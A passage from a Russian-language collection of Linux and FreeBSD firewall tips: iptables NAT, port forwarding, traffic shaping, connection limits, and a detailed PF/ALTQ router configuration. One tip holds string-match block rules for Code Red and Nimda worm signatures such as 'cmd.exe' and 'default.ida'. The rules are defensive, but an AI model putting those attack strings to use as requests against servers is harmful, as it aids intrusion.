          --to-destination 192.168.0.102:80
    
    См. также статью http://linuxgazette.net/108/odonovan.html
    
     
    ----* Как удалить iptables правило по номеру   [комментарии]
     
    iptables -L INPUT --line-numbers
    iptables -D INPUT номер
    
    iptables -t nat -L POSTROUTING --line-numbers
    iptables -t nat -D POSTROUTING номер
    
     
    ----* Как ограничить пропускную полосу для пакетов помеченных меткой через MARK.   Автор: Denis Fedorishenko (NuclearCat)  [комментарии]
     
    Сделать MARK, и загнать все такие трансферы в какой-либо класс шейпера. 
    Т.е. если например помеченные пакеты - все их отнести к классу 1:51 где
    скорость ограничена от 32К до 64К:
      tc filter add dev eth1 parent 1:0 protocol ip prio 100 handle 51 fw classid 1:51
      tc class add dev eth1 parent 1:2 classid 1:51 htb rate 32Kbit ceil 64Kbit
      tc qdisc add dev eth1 parent 1:51 handle 51 sfq perturb 10
    
     
    ----* Как запретить пользователям качать большие файлы   Автор: Denis Fedorishenko (NuclearCat)  [обсудить]
     
    - Собираем поддержку connbytes в patch-o-matic.
    - Добавляем правило в firewall, например:
         iptables -A FORWARD --connbytes 100000 -j REJECT
    - теперь все TCP сессии более 100 Кбайт будут "обрезаны", необходимо добавить 
    исключения для протоколов типа ssh, обычные "долгоживущие" чаты и т.п.
    
     
    ----* Борьба с Kazaa и прочим вредным трафиком путем вырезания пакетов по маске   Автор: Denis Fedorishenko (NuclearCat)  [комментарии]
     
    - собираем поддержку "string" в patch-o-matic.
    - смотрим на протокол Kazaa, в заголовках содержится:
      HTTP/1.0 503 Service Unavailable.Retry-After: 3..X-Kazaa-Username: BlazeTre
    - добавляем в firewall строчку - iptables -A FORWARD -m string --string "X-Kazaa-" -j REJECT
    
     
    ----* Как в Linux перебросить соединение через NAT во внутреннюю сеть (доп. ссылка 1)   Автор: Dimez  [комментарии]
     
    Первый путь - пробрасывание только порта:
      1) iptables -t nat -A PREROUTING -p tcp -d EXT_R_IP --dport 10000 -j DNAT --to-destination LOCAL_IP:80
      2) iptables -A FORWARD -i eth0 -d LOCAL_IP -p tcp --dport 22 -j ACCEPT
    
    Второй вариант - выброс всей машины наружу (если есть свободные адреса):
      1) ifconfig eth0:0 NEW_IP netmask NETMASK broadcast BROADCAST
      2) route add NEW_IP gw GW netmask 0.0.0.0 metric 1 dev eth0:0
      3) iptables -t nat -A PREROUTING -p tcp -d NEW_IP -j DNAT --to-destination LOCAL_IP
      4) iptables -A FORWARD -i eth0 -d LOCAL_IP -j ACCEPT
    
    Обозначения: EXT_R_IP - внешний IP роутера, LOCAL_IP - внутренний IP машины,
    которую хочешь выбросить
      NEW_IP - новый IP на который хочешь посадить машину, которая имеет локальный LOCAL_IP
      NETMASK, BROADCAST, GW - внешние netmask, broadcast и gateway
    
     
    ----* Пример настройки NAT с привязкой к IP под Linux   [комментарии]
     
    Пример настройки NAT с привязкой к IP под Linux
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -o eth0 -j SNAT --to-source 212.23.98.45
    
    или (без привязки к IP)
    
      ipchains -A forward -j MASQ -s 192.168.0.0/16 -d 0.0.0.0/0
    или (через iproute2)
    
      ip rule add from 10.0.1.0/24 nat 254.147.38.14
    
    Другой способ трансляции адресов:
    
      iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -d 0/0 -j MASQUERADE
    
     
    ----* Как ограничить через iptables максимальное число одновременных соединений с одного IP.   [комментарии]
     
    # Максимум 10 одновременных соединений к 80 порту с одного IP
      iptables -A INPUT-p tcp --dport 80 -m iplimit --iplimit-above 10 -j REJECT
    # Блокируем на стадии SYN
      iptables -I INPUT -p tcp --syn --dport 80 -j DROP -m iplimit --iplimit-above 10
    # 20 соединений на сеть класса С
      iptables -p tcp --dport 80 -m iplimit --iplimit-above 20 --iplimit-mask 24 -j REJECT 
      
    
     
    ----* Как посмотреть статистику по PREROUTING цепочкам в iptables.   [комментарии]
     
    > Делаю:
    > iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to 192.168.22.33:3128
    > По iptables -L ничего не показывается.
    Используйте: iptables -t nat -L
    
     
    ----* Как настроить пакетный фильтр для фильтрации по содержимому пакетов   [комментарии]
     
    Следующие правила блокируют прохождение пакетов, данные в которых содержат подстроку virus.exe
    и ведут лог пакетов с строкой secret внутри:
    iptables -A INPUT -m string --string "secret" -j LOG --log-level info --log-prefix "SECRET"
    iptables -I INPUT -j DROP -p tcp -s 0.0.0.0/0 -m string --string "virus.exe"
    # Block Code Red
    iptables -I INPUT -j DROP -p tcp -m string --string "cmd.exe"
    # Block Nimda
    iptables -I INPUT -j DROP -p tcp -m string --string "root.exe"
    iptables -I INPUT -j DROP -p tcp -m string --string "default.ida"
    
     
    ----* Как настроить NAT (транслятор адресов) для нормальной работы с FTP и ICQ в Linux   [комментарии]
     
    iptables:
       modprobe iptable_nat
       modprobe ip_conntrack_ftp
       modprobe ip_nat_ftp                     
       modprobe ip_nat_irc
    ipchains:
       modprobe ip_masq_ftp
       modprobe ip_masq_raudio
       modprobe ip_masq_irc
       modprobe ip_masq_icq
    
     
    ----* Список интересных iptables модулей-расширений. (доп. ссылка 1)   [обсудить]
     
    Фильтрация по MAC (mac): 
        --mac-source [!] XX:XX:XX:XX:XX:XX (! - "не" маска.)
    Запись номеров портов (multiport):
        --source-port [port[,port]]
        --destination-port [port[,port]]
        --port [port[,port]]  (source или destination)
    Установка и проверка маркера пакет (mark):
        --set-mark mark
        --mark value
    Выборка пакетов посланных/полученных пользователем (owner):
        --uid-owner userid
        --gid-owner groupid
        --pid-owner processid
    Установка/проверка типа сервиса (TOS/tos):
        --set-tos tos
        --tos tos
    Определение log-level для syslog (LOG):
        --log-level level
    Установка реального IP для работы NAT (SNAT, цепочка POSTROUTING):
        --to-source  <ipaddr>[-<ipaddr>][:port-port]
    Изменение/проверка TTL - time to live (TTL/ttl):
        --ttl-set ttl
        --ttl-dec N - уменьшение на N
        --ttl-inc N - увеличение на N
        --ttl ttl - проверка
    
     
    ----* Можно ли отфильтровывать пакеты (вести лог) в зависимости от UID пользователя ?   [обсудить]
     
    Для FreeBSD:
    ipfw add count tcp from any to not 192.168.1.0/24 uid 231
    uid user (или gid group) - под правило попадают все TCP или UDP пакеты посланный 
    или принятые пользователем user (группой group).
    В Linux в ядрах 2.4.x в iptables можно использовать модуль owner.
    
     
    ----* Ограничение трафика через iptables (доп. ссылка 1)   Автор: Z0termaNN  [комментарии]
     
    iptables --new-chain car
    iptables --insert OUTPUT 1 -p tcp --destination-port 25 -o eth1 --jump car
    iptables --append car -m limit --limit 20/sec --jump RETURN
    iptables --append car --jump DROP
    
     

       Пакетный фильтр в FreeBSD: ipfw, IP-Filter

    ----* Маршрутизатор на базе FreeBSD с приоритизация трафика средствами PF и ALTQ   Автор: artemrts  [комментарии]
     
    Проблема приоритизации трафика, на мой взгляд, весьма актуальна.
    Интернет-канала много не бывает и на всех пользователей и сервисов локальной
    зачастую не хватает. Поэтому для нормальной работы Интернета требуется
    грамотное распределения полосы с учетом потребностей каждого из участников.
    Единственный раз, когда мне не понадобился QoS - это гарантированный
    провайдером канал в 20 Мбит/с в мир и 100Мбит/с - национальный. Но такое
    удовольствие не из дешевых, поэтому зачастую народ довольствуется ADSL-каналом
    с заявленной скоростью к клиенту до 5-10 Мбит/с.
    
    Хочу заметить, что данная статья не предназначенная для новичков в сетевом
    администрировании в целом и в PF в частности. Читателю необходимо иметь
    минимальные навыки работы с сетями (понимать устройство пакета, знать что такое
    ТСР-флаги и т.д.), а также с пакетным фильтром PF. Не лишним будет прочесть
    официальный FAQ и man'ы. В основном цель этой статьи поделиться опытом,
    выслушать замечания и, возможно, улучшить свой вариант.
    
    И так, постановка задачи: организовать доступ к сети Интернет. Грамотно
    распределить как входящий так и исходящий трафик с разделением канала для
    клиентов локальной сети и сервисов, запущенных на самом роутере (например,
    FTP-сервер, SIP-сервер и т.д.). В качестве роутера выступает сервер с ОС
    FreeBSD 9 c пакетным фильром PF.
    Протокол FTP будет использоваться только в пассивном режиме, что немного упростит конфигурацию.
    
    Для решения поставленной задачи необходимо пересобрать ядро и включить в него
    поддержку PF и ALTQ. Для задач, не требующих ALTQ, пересобирать ядро не
    обязательно. Можно просто подгрузить PF как модуль.
    
    Добавляем в файл конфигурации следующие строки и пересобираем ядро. Описывать
    каждую опцию не буду. В man 4 altq все есть.
    
       options HZ=1000
    
       device pf
       device pflog
       options ALTQ
       options ALTQ_CBQ
       options ALTQ_RED
       options ALTQ_RIO
       options ALTQ_HFSC
       options ALTQ_CDNR
       options ALTQ_PRIQ
       #options ALTQ_NOPCC #for SMP CPU
    
    Лично я для боевого сервера пересобираю не только ядро системы, но и мир. Как
    это сделать, хорошо описано в Хендбуке и /usr/src/Makefile.
    
    Для автоматического запуска PF при старте системы добавляем в /etc/rc.conf строки:
    
       pf_enable="YES"
       pflog_enable="YES"
    
    Далее, собственно, сам конфигурационный файл пакетного фильтра. Возьмем самую
    простую реализацию роутера: один внутренний сетевой интерфейс и один внешний.
    Интернет канал подключен через ADSL-модем, работающий в режиме моста, т.е.
    подключение pppoe организовано средствами штатного ppp-клиента.
    
    Скорость от провайдера - 5 Мбит/c, к провайдеру - 850 Кбит/c. 
    На роутере запущен HTTP-прокси для прозрачного перенаправления WWW-трафика
    пользователей сети. Это сделано с целью блокировать метод CONNECT и
    принудительно направить другие виды трафика (например, торрент) в другие
    очереди с другим приоритетом. Я использую легковесный, но "шустрый" 3proxy
    (3proxy.ru). Кому важен кэш - используйте Squid или Apache Traffic Server.
    
    Также перенаправляются все ДНС-запросы на сервер ДНС-провайдера. Это сделано с
    целью блокировки фишинговых и других зловредных сайтов, сайтов для взрослых,
    аплоадеры, соц. сети и т.д. и т.п. Некоторые компании так же предоставляет
    блокировку рекламных баннеров.
    
    Весь исходящий трафик я разбил на следующие очереди:
    
     - ДНС-запросы - очередь u_dns
    
     - ТСР АСК-пакеты - очередь u_ack
    
     - трафик с высоким приоритетом - очередь u_hipri
    
     - трафик с нормальным приоритетом - очередь u_pri
    
     - трафик с низким приоритетом - очередь u_lowpri
    
     - весь остальной трафик - очередь u_other
    
     - стандартная очередь - очередь u_std, одна очередь должна быть с опцией default, в которую попадает трафик, который не попадает ни под какое другое правило. В нашем случае это показатель правильности назначения очередей в правилах фильтрации. В эту очередь ничего не должно попадать.
    
    Аналогичное деление трафика, идущего к клиенту локальной сети, только вместо
    u_* используется d_* обозначение.
    
    Трафик классифицируется как относительно сервиса/протокола (HTTP, FTP, Torrent)
    так и относительно пользователя, т.е. трафик от/к компьютера, например,
    бухгалтера может быть весь помечен как с высоким приоритетом, независимо от
    того Торрент это или FTP.
    Данные, являющиеся ДНС-запросам и ТСР АСК-пакетами, для всех пользователей
    имеют свой высокий неизменный приоритет. Например, весь трафик от/к компьютера,
    относящегося к группе с низким приоритетом, будет обрабатываться с низким
    приоритетом, кроме ДНС и ТСР АСК.
    
    Определяем макросы, что бы меньше текста в основной части конфигурационного файла.
    
       mst="modulate state"
       str="source-track rule"
       ext_if="tun0"
       int_if="rl0"
    
    Таблица, в которую включены компьютеры трафик  к/от которых весь будет
    считаться с высоким приоритетом.
    
       table <pc_hipri> persist {10.11.1.2}
    
    Аналогично для ПК с нормальным приоритетом.
    
       table <pc_pri> persist {10.13.1.2 10.13.1.10 10.13.1.13 10.13.1.14 10.13.1.15}
    
    Таблица с адресами, доступ к которым блокируется.
    
       table <ban> persist file "/etc/pf.ban"
    
    Таблица, с адресами клиентов, которым можно доверять.
    
       table <trust> persist {123.10.456.0/24 193.196.125.0/24}
    
    IP-адрес системного администратора.
    
       table <me> persist {210.211.13.84}
    
    IP-адреса SIP-провайдеров
    
       table <sip_peers> persist {212.15.65.122 75.16.127.118}
    
    Конфигурируем опции пакетного фильтра, изменяющие его поведение. В нашем случае:
    
    - не производится проверка на интерфейсе обратной петли;
    
    - выставляем оптимизацию правил в basic;
    
    - устанавливаем привязку состояний соединения (т.н. стейтов) к каждому интерфейсу;
    
    - устанавливаем максимальное кол-во состояний. Если сетевых интерфейсов большое
    кол-во или большое кол-во клиентов в сети, возможно, потребуется
    скорректировать это значение в большую сторону.
    
       set skip on lo0
       set ruleset-optimization basic
       set state-policy if-bound
       set limit states 20000
    
    Нормализация трафика (т.н. скрабинг). Срабинг позволяет значительно повысить
    безопасность файервола. В нашем случае выполняется нормализация трафика на
    внешнем интерфейсе, генерируется случайная последовательность в поле
    идентификации IP-пакета, устанавливается величина TTL=128, производится
    "дефрагментация" IP-пакетов, а также нормализация TCP соединений.
    
       scrub on $ext_if all random-id no-df min-ttl 128 fragment reassemble reassemble tcp
    
    
    ALTQ.
    
    Приоритизировать будем на всех физических сетевых интерфейсах. На внешнем -
    исходящий трафик, на внутреннем - входящий.
    Выбор дисциплины - очень важный момент. Возможные варианты: priq, cbq, hfsc. 
    
    Я использую hfsc, т.к. важной чертой этого планировщика есть именно
    гарантирование полосы для конкретного пользователя/сервиса. Работа планировщика
    для нашего конкретного случая построена следующим образом: если в описании
    очереди указан дополнительный параметр realtime, то ей будет отдана указанная
    (realtime) полоса независимо ни от чего. Величина трафика свыше realtime будет
    рассчитываться исходя из величины bandwidth. Причем  bandwidth - не абсолютный
    параметр, скорее относительный.
    
    Исходя из величин bandwidth каждой очереди рассчитывается величина трафика
    свыше realtime для каждой очереди пока не будет достигнут параметр upperlimit,
    который жестко ограничивает полосу. Приоритеты в планировщике hfsc не используются.
    
    Помимо всех прочих параметров, hfsc имеет параметр qlimit - кол-во слотов,
    доступных очереди для сохранения исходящих пакетов, когда вся доступная полоса
    исчерпана. И только когда все слоты будут заняты, пакеты будут отбрасываться,
    что заставит клиента снижать скорость. Мы не будем использовать RED или ECN,
    вместо этого увеличим значение qlimit.
    
    Назначаем очередь на внешнем интерфейсе. Величина bandwidth должна быть 96% от
    предоставляемой вышестоящим роутером. Здесь же перечисляем все дочерние очереди.
    
       altq on $ext_if hfsc bandwidth 800Kb queue {u_std,u_ack,u_dns,u_hipri,u_pri,u_lowpri,u_other}
    
    Очередь по-умолчанию. Будет потреблять 25 кбит/с независимо ни от чего.
    Величина bandwidth 1Kb означает, что если канал будет полностью занят любой
    другой очередью или всеми, то очередь u_std практически ничего не получит свыше
    25 кбит/с.
        
       queue u_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
    
    Очередь u_ack - это ТСР АСК-пакеты, которые будут отправляться удаленному хосту
    с которого происходит загрузка по протоколу ТСР. Важно, что бы эти пакеты
    проходили без задержек. Для максимальной скорости от провайдеоа 4 Мбит/с
    требуется гарантированный канал в обратную сторону в размере 125 кбит/с.
        
       queue u_ack bandwidth 1Kb qlimit 200 hfsc (realtime 125Kb)
    
    ДНС-запросы. Гарантированной полосы в 25 кбит/с вполне достаточно. Больше не
    нужно, поэтому bandwidth 1Kb
        
       queue u_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
    
    Очередь с высоким приоритетом
        
       queue u_hipri bandwidth 300Kb qlimit 250 hfsc (realtime 200Kb)
    
    Очередь с обычным приоритетом
    
       queue u_pri bandwidth 300Kb qlimit 400 hfsc (realtime 150Kb)
    
    Очередь с низким приоритетом
    
       queue u_lowpri bandwidth 100Kb qlimit 100 hfsc (realtime 75Kb)
    
    Очередь для всего остального трафика ТСР и UDP.
    
       queue u_other bandwidth 97Kb qlimit 50 hfsc (realtime 25Kb)
    
    Назначаем очереди на внутреннем интерфейсе - приоритизируем входящий трафик.
    Провайдер отдает 5 Мбит/с, поэтому устанавливаем очередь inetq в размере 96%.
    Так же на внутреннем интерфейсе запущен ряд служб, например, локальный FTP,
    поэтому важно "не смешать" локальный трафик с Интернет-трафиком. Так как
    сетевая карточка 100Mbit, то выставляем значение bandwidth в 100Mb. Назначаем
    две очереди: одна - локальный трафик, вторая Интернет-трафик с дочерними очередями.
    
       altq on $int_if hfsc bandwidth 100Mb queue {etherq, inetq}
    
    Очередь для локального трафика. В эту очередь будут попадать все пакеты, идущие
    от внутреннего сетевого интерфейса к пользователям локальной сети. Параметр
    upperlimit определяет максимальное значения для данной очереди. Заметьте, в эту
    очередь не будут попадать ответы, например, от WWW-сервера из сети Интернет.
    Эта очередь исключительно для локального трафика.
    
       queue etherq bandwidth 95Mb hfsc (upperlimit 95Mb)
    
    Очередь для Интернет-трафика. В эту очередь будут попадать пакеты, идущие с
    сети Интернет. Имеет дочерние очереди по аналогии с внешним интерфейсом.
    
       queue inetq bandwidth 4800Kb hfsc (upperlimit 4800Kb) {d_std,d_ack,d_dns,d_hipri,d_pri,d_lowpri,d_other}
       queue d_std bandwidth 1Kb qlimit 50 hfsc (default realtime 25Kb)
       queue d_ack bandwidth 1Kb qlimit 50 hfsc (realtime 50Kb)
       queue d_dns bandwidth 1Kb qlimit 50 hfsc (realtime 25Kb)
       queue d_hipri bandwidth 1297Kb qlimit 500 hfsc (realtime 1000Kb)
       queue d_pri bandwidth 2000Kb qlimit 500 hfsc (realtime 2000Kb)
       queue d_lowpri bandwidth 1000Kb qlimit 500 hfsc (realtime 500Kb)
       queue d_other bandwidth 500Kb qlimit 500 hfsc (realtime 240Kb)
    
    Правила трансляции локальных адресов (NAT).
    
    Транслируются адреса, где источник - IP-адрес из любой подсети внутреннего
    интерфейса, а адрес назначения - любой, кроме IP-адресов из всех подсетей,
    подключенных к роутеру. Это могут быть как физические так и VPN-интерфейсы
    (tun, gif).
    ($ext_if) - в круглых скобках, т.к. IP-адрес внешнего интерфейса назначается динамически.
    
    ($int_if:network) и (self) в круглых скобках что бы в выводе pfctl -sn не было
    подстановки реальных адресов и сетей. Это удобно, когда у вас на внутреннем
    интерфейсе несколько алиасов и, соответственно, подсетей (как в моем случае).
    
       nat on $ext_if inet from ($int_if:network) to !(self) -> ($ext_if) port 1024:65535
    
    Пользователей из группы pc_hipri и pc_pri пускаем в обход прокси. Я пускаю их
    напрямую, т.к. эти пользователи не нуждаются в контроле, а также специфическое
    ПО не работает в режиме прозрачного проксирования.
    
       no rdr on $int_if inet proto tcp from {<pc_hipri> <pc_pri>} to !(self) port 80
    
    Правило редиректа, перенаправляющие все ДНС-запросы локальных пользователей на
    внешний ДНС-сервер. Это может быть Google или, лучше, ДНС-сервер компании,
    предоставляющей фильтрацию трафика посредством ДНС.
    
       rdr on $int_if inet proto {tcp udp} from ($int_if:network) to !(self) port 53 -> 193.58.251.251 port 53
    
    Редирект на прокси-сервер.
    
       rdr on $int_if inet proto tcp from ($int_if:network) to !(self) port 80 -> 127.0.0.1 port 31280
    
    Редирект на удаленный рабочий стол виндовой машины в локальной сети из сети Интернет.
    
       rdr on $ext_if inet proto tcp from any to ($ext_if) port 3389 -> 10.11.1.2 port 3389
    
    Правила фильтрации трафика. Правила будем группировать в такой
    последовательности: действие, интерфейс, направление, протокол, адрес
    источника, порт источника, адрес назначения, порт назначения.
    
    Антиспуфинг.
    
       antispoof quick for {$int_if lo0} inet
    
    Блокируем не маршрутизируемые адреса.
    
       block in quick inet from no-route to any
    
    Блокируем броадкасты.
    
       block in quick on $ext_if inet from any to 255.255.255.255
    
    Блокируем IP-адреса, содержащиеся в таблице ban. Опция return возвращает TCP
    RST, что закрывает сразу соединение без таймаута. Полезно, когда блокируются
    адреса рекламных сетей, что позволяет браузеру нормально загружать странички
    без ожидания загрузки блокируемого контента.
    
       block return out quick on $ext_if inet from any to <ban>
    
    Эти 2 правила определяют тип файервола: запрещено все, кроме явно разрешенного.
    
       block in all
       block out all
    
    Собственно разрешающие правила. 
    Расположены в определенной последовательности, что важно с точки зрения
    производительности, а также ожидаемого эффекта.
    
    Внутренний интерфейс.
    Разрешаем ТСР-пакеты к интерфейсу обратной петли, на котором "слушает" прокси-
    сервер для организации прозрачного проксирования. Назначаем очереди. Мы не
    можем приоритизировать входящий трафик, только исходящий. В d_pri будут
    попадать пакеты, которые являются ответом от сервера к клиенту, таким образом
    мы регулируем скорость скачивания.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_pri, d_ack)
    
    Далее 3 правила, которые разрешают ТСР соединения на определенные порты на не
    локальные IP-адреса. Назначаются соответствующие очереди. Тегирование
    необходимо что бы потом на внешнем интерфейсе мы могли "отделить" его от
    остального трафика и направить в нужную очередь. Заметьте, опция quick не
    используется, поэтому эти правила нужно расположить в правильной
    последовательности: от менее ограничивающего к более, потому как без опции
    quick последнее совпавшее правило выигрывает, а не первое совпавшее.
    
    Опция quick не используется т.к. при совпадении пакет будет назначен в очередь
    и пропущен и не дойдет до тех правил, которые описывают разрешения и
    приоритеты, основанные не на протоколах, а на адресах источника/назначения (в
    нашем случае это компьютеры из группы pc_hipri и pc_pri). Т.к. протокол ТСР, то
    так же добавляем очередь для ТСР АСК-пакетов. В качестве адреса назначения в
    правилах фигурирует !(self:network). Это значит, что только пакеты, не
    предназначенные ни к одному IP-адресу сетевых интерфейсов или IP-адресу из
    подсетей, подключенных к роутеру, будут разрешаться и, соответственно,
    тегироваться. Это, например, не даст подключиться к внешнему IP из локальной сети.
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		$mst queue (d_other d_ack) tag INET_OTHER
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {20 21 25 110 143 5190 8080 081} $mst queue (d_lowpri d_ack) tag INET_LOWPRI
    
       pass in log on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 443 $mst queue (d_pri d_ack) tag INET_PRI
    
    Далее 2 правила, которые будут срабатывать как для всех пользователей так и для
    тех, кто принадлежит к т.н. VIP-группе (pc_hipri и pc_pri). Поэтому тут
    используем опцию quick.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port {22 3389} $mst queue (d_hipri d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to !(self:network) \\
    		port 53 $mst queue (d_dns d_ack) tag INET_DNS
    
    Следующие 2 правила, по-аналогии с TCP, описывают разрешения и очереди для
    протокола UDP. Так же их тегируем. Второе правило с опцией quick, т.к. оно
    должно срабатывать для всех категорий пользователей.
    
       pass in log on $int_if inet proto udp from ($int_if:network) to !(self:network) queue d_other tag INET_OTHER
    
       pass in log quick on $int_if inet proto udp from ($int_if:network) to !(self:network) \\
    		port {53 123} queue d_dns tag INET_DNS
    
    Правило, разрешающее ICMP.
    
       pass in log on $int_if inet proto icmp from ($int_if:network) to !(self:network) queue d_lowpri tag INET_LOWPRI
    
    Следующие правила, разрешающие трафик от клиентов, с высоким и нормальным
    приоритетом. Весь трафик будет считаться очень высоким (hipri) или высоким
    (pri) приоритетом (кроме ДНС и ТСР АСК). Здесь мы не указываем протокол, но
    указываем modulate state, который применяется только для ТСР. Это не будет
    ошибкой, PF достаточно "умный" и он подставит modulate state для протокола ТСР,
    и keep state - для всех остальных протоколов.
    
       pass in log quick on $int_if inet from <pc_hipri> to !(self:network) $mst queue (d_hipri, d_ack) tag INET_HIPRI
    
       pass in log quick on $int_if inet from <pc_pri> to !(self:network) $mst queue (d_pri, d_ack) tag INET_PRI
    
    Разрешаем локальный Ethernet к внутреннему интерфейсу роутера.
    
       pass in quick on $int_if inet from ($int_if:network) to ($int_if) queue etherq
    
    Теперь опишем разрешающие правила с внутреннего интерфейса роутера в локальную
    сеть. Если у вас нет редиректа с Интернета в локальную сеть или нет никаких
    серверов/клиентов, запущенных на самом роутере и требующих доступ в локальную
    сеть, то эти правила можно не добавлять.
    Первое правило разрешает трафик с Интернета к указанному IP в локальной сети и
    назначает очень высокий приоритет входящего трафика. Это третье правило (первое
    - rdr, второе - разрешающее на внешнем интерфейсе) для редиректа (проброса)
    порта в локальную сеть.
    
       pass out quick on $int_if inet proto tcp from !(self) to 10.11.1.2 port 3389 queue (d_hipri d_ack)
    
    Правило, разрешающее трафик от внутреннего сетевого интерфейса роутера в
    локальную сеть. Не важно какой протокол. Весь направляется в очередь etherq.
    
       pass out quick on $int_if inet from ($int_if) to ($int_if:network) queue etherq
    
    
    Внешний интерфейс. Разрешающие правила для входящего трафика. Важно, для
    каждого входящего правило указывать максимальное кол-во стейтов, которые может
    создать правило. Это предотвратит исчерпывания всего лимита стейтов одним
    правилом в случае DoS атаки.
    Последующие 6 правил разрешают входящие ТСР-подключения к определенным портам
    роутера, а также назначаются соответствующие очереди. Эти очереди будут
    приоритизировать не входящий трафик, а исходящий. Так же стоит обратить
    внимание на первые два правила, которые разрешают доступ к FTP серверу на
    роутере. Передача команд по 21-му порту будет направляться в очередь с большим
    приоритетом (u_pri), а данные - с меньшим (u_lowpri).
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port 21 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <trust> to ($ext_if) port >=49152 $mst (max 100) queue (u_lowpri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 22 $mst (max 10) queue (u_hipri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 80 $mst (max 100) queue (u_pri u_ack)
    
       pass in quick on $ext_if inet proto tcp from <me> to ($ext_if) port 5900 $mst (max 10) queue (u_hipri u_ack)
    
    Правило, разрешающее входящее подключение с сети Интернет (конкретно с адреса
    администратора), но не к интерфейсам роутера (внешнему в том числе), а к
    компьютеру в локальной сети к порту RDP.
    
       pass in quick on $ext_if inet proto tcp from <me> to !(self) port 3389 $mst (max 10) queue (u_hipri u_ack)
    
    Следующее правило разрешает подключение с любого адреса сети Интернет к
    VNC-репитеру. В целях безопасности включен трекинг источника (source-track).
    
       pass in quick on $ext_if inet proto tcp from any to ($ext_if) port 5500 $mst \\
    		(max 10,$str, max-src-nodes 2, max-src-states 3, max-src-conn-rate 3/60) \\
    		queue (u_hipri u_ack)
    
    
    Следующие 2 правила разрешают подключения к определенным портам по протоколу UDP.
    
       pass in quick on $ext_if inet proto udp from any to ($ext_if) port 1194 (max 20) queue u_pri
    
       pass in quick on $ext_if inet proto udp from <sip_peers> to ($ext_if) port 5060 (max 20) queue u_hipri
    
    Разрешаем пинг к внешнему интерфейсу.
    
       pass in quick on $ext_if inet proto icmp from any to ($ext_if) icmp-type echoreq (max 100) queue u_other
    
    Внешний интерфейс. Разрешающие правила для исходящего трафика.
    Следующие 5 правил разрешают исходящий трафик с внешнего интерфейса, который
    был помечен на внутреннем интерфейсе. Это исключительно данные, которые
    передаются в сеть Интернет от клиентов в локальной сети.
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_dns u_ack) tagged INET_DNS
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_hipri u_ack) tagged INET_HIPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_pri u_ack) tagged INET_PRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_lowpri u_ack) tagged INET_LOWPRI
    
       pass out quick on $ext_if inet from ($ext_if) to any $mst queue (u_other u_ack) tagged INET_OTHER
    
    И последние правила, разрешающие исходящие соединения с внешнего интерфейса.
    Это будет трафик непосредственно самого роутера. В целом приоритет этого
    трафика выше чем от клиентов в локальной сети.
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any port 53 $mst queue (u_dns u_ack)
    		
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any port {53 123} queue u_dns
    	
       pass out quick on $ext_if inet proto udp from ($ext_if) to <sip_peers> port 5060 queue u_hipri
    
       pass out quick on $ext_if inet proto udp from ($ext_if) to any queue u_pri
    
       pass out quick on $ext_if inet proto icmp from ($ext_if) to any $mst queue u_lowpri
    
    Есть один важный момент, на котором остановлюсь подробнее. Второе правило будет
    разрешать ТСР-соединения с роутера и в том числе на 80 порт. Под это правило
    так же подпадают пакеты, отправленные с прокси-сервера, трафик, который
    фактически является HTTP-трафиком  клиентов из локальной сети. Т.к. в нашем
    случае приоритеты этих видов трафика равны (очередь u_pri), то все хорошо. Но
    если планируется назначить очереди разные (например, HTTP от локальных клиентов
    - очередь u_lowpri, а с внешнего интерфейса роутера - u_pri), тогда следует
    указать в правиле для прокси-сервера опцию user uid и поместить его над
    правилом для внешнего интерфейса роутера. Например, прокси запущен с правами
    пользователя nobody:
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any user nobody $mst queue (u_lowpri u_ack)
    
       pass out quick on $ext_if inet proto tcp from ($ext_if) to any $mst queue (u_pri u_ack)
    
    Соответственно, правило, разрешающее доступ к прокси из локалной сети тоже
    немного измениться: необходимо поменять очередь с d_pri на d_lowpri.
    
       pass in log quick on $int_if inet proto tcp from ($int_if:network) to 127.0.0.1 port 31280 queue (d_lowpri, d_ack)
    
    Стоить отметить о наличии бага, который проявляется при использованием опции
    user. Об этом описано в секции BUGS на странице руководства pf.conf. Лично у
    меня этот баг не проявлялся. Все же старайтесь опцию user не использовать.
    
    Отладка. Отличительной способностью PF есть его протоколирование, статистика и
    мониторинг состояния в реальном времени что значительно облегчает
    конфигурирование файервола, особенно для сложных сетевых топологий.
     
    Просмотр загруженных очередей:
    
       pfctl -sq
    
    Что бы в реальном времени наблюдать загрузку очередей выполните команду:
    
       pfctl -vvsq
    
    Так же рекомендую установить из портов программу pftop, которая по аналогии с
    утилитой top выводит различную статистику PF в реальном времени.
    
     
    ----* Блокирование Skype по IP-адресам во FreeBSD   Автор: Тикунов Максим  [комментарии]
     
    Раздумывая на досуге о наболевшем вопросе как заблокировать Skype, пришла идея,
    может она здесь уже описывалась, но всё таки решил поделиться личным опытом,
    может кому и пригодится.
    
    Первый раз заблокировать Skype удалось путём перекрытия всех не нужных портов и
    кое каких правил в прокси squid, которые не давали соединятся по ip-адресам
    методом CONNECT. Но это не самый лучший вариант, так как блокируется и всё
